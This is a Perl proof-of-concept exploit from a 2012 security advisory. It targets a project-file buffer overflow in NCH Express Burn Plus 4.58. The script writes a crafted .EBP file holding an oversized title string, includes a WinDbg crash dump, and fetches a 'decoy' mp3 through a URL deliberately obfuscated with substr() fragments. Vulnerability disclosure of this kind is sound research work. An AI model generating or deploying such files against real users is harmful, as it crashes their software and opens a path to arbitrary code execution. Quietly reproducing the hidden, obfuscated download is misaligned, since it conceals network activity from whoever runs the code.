1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 |
#!/usr/bin/perl # # # Express Burn Plus v4.58 EBP Project File Handling Buffer Overflow PoC # # # Vendor: NCH Software # Product web page: http://www.nchsoftware.com # Affected version: 4.58 # # Summary: Express Burn is a program that allows you to create and copy many # kinds of disc media, including Audio (audio CDs / .mp3 CDs), Video (DVDs), # and Data (CDs / DVDs / Blu-ray). # # Desc: The vulnerability is caused due to a boundary error in the processing # of a project file, which can be exploited to cause a unicode buffer overflow # when a user opens e.g. a specially crafted .EBP file. Successful exploitation # could allow execution of arbitrary code on the affected machine. # # # =========================================================================== # # (13d4.a84): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=050a8c70 ebx=004034fc ecx=00000041 edx=fc4d5390 esi=0157cf68 edi=001297fe # eip=004678ef esp=00126420 ebp=001274c0 iopl=0 nv up ei pl nz na pe nc # cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206 # *** WARNING: Unable to verify checksum for image00400000 # *** ERROR: Module load completed but symbols could not be loaded for image00400000 # image00400000+0x678ef: # 004678ef 66890c02mov word ptr [edx+eax],cxds:0023:0157e000=???? # 0:000> d eax # 050a8c7041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 050a8c8041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 050a8c9041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 050a8ca041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 050a8cb041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 050a8cc041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 050a8cd041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 050a8ce041 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 0:000> d esi # 0157cf6841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 0157cf7841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 0157cf8841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 0157cf9841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 0157cfa841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 0157cfb841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 0157cfc841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # 0157cfd841 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00A.A.A.A.A.A.A.A. # # =========================================================================== # # # Tested on: Microsoft Windows 7 Ultimate SP1 EN # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Zero Science Lab - http://www.zeroscience.mk # # # Advisory ID: ZSL-2012-5103 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5103.php # # # 25.08.2012 # use Cwd; use LWP::Simple; print "\n #=---===---===---===---===---===---===---===---=# | | |Proof Of Concept script for| | | | NCH Software Express Burn Plus v4.58| | | | | | ID: ZSL-2012-5103 | | | |---| | | | Copyleft (c) 2012 | | | |Zero Science Lab - http://www.zeroscience.mk | | | #=---===---===---===---===---===---===---===---=# \n"; $file = "Exploit.EBP"; $zoom = substr(")aZh4/",3,1).substr("^7ttr",2,2).substr("p>eErZ",0,1). substr("7U:/.9",2,2).substr("v/!+T",1,1).substr("oL4z55",3,1). substr("erY3%",0,2).substr("8oscW1",1,3).substr("iLien@",2,3). substr("*hJ2ce",4,2).substr("6.#h1A",1,1).substr("mk-((",0,2). substr(">/cZo",1,2).substr("[Mood]4",3,2).substr("lesS?",1,2). substr("a*\@J/b",4,2).substr("lue8X",0,3).substr("fish6",0,4). substr(",,8Y.b",4,1).substr("GrUmp!",3,2).substr("1337:",2,1); print "\n\n\x20\x20\x1A Creating malicious project file...\n\n"; $decoy = "440Hz.mp3"; getstore($zoom, $decoy); print "\x20\x20\x1A Throwing decoy file: $decoy...\n"; $buffer = "\x41\x41\x41\x41" x (15000/2); $dir = getcwd; $dir =~ s/\//\\/g; $load = "<?xml version=\"1.0\"?>\<ExpressBurnProject type=\"0\"><Alb". "umTitle/><TrackList><Audiotrack file=\"$dir\\$decoy\" title". "=\"$buffer\" artist=\"Salvador\"/></TrackList>\r</ExpressBu". "rnProject>\r"; open fp, ">./$file" || die "\n[-] Can't open $file: $!\n\n"; print fp $load; close fp; print "\n\x20\x20\x19 File created successfully: $file "; $file = -s $file; print "($file bytes).\n\n\n"; ##EOF |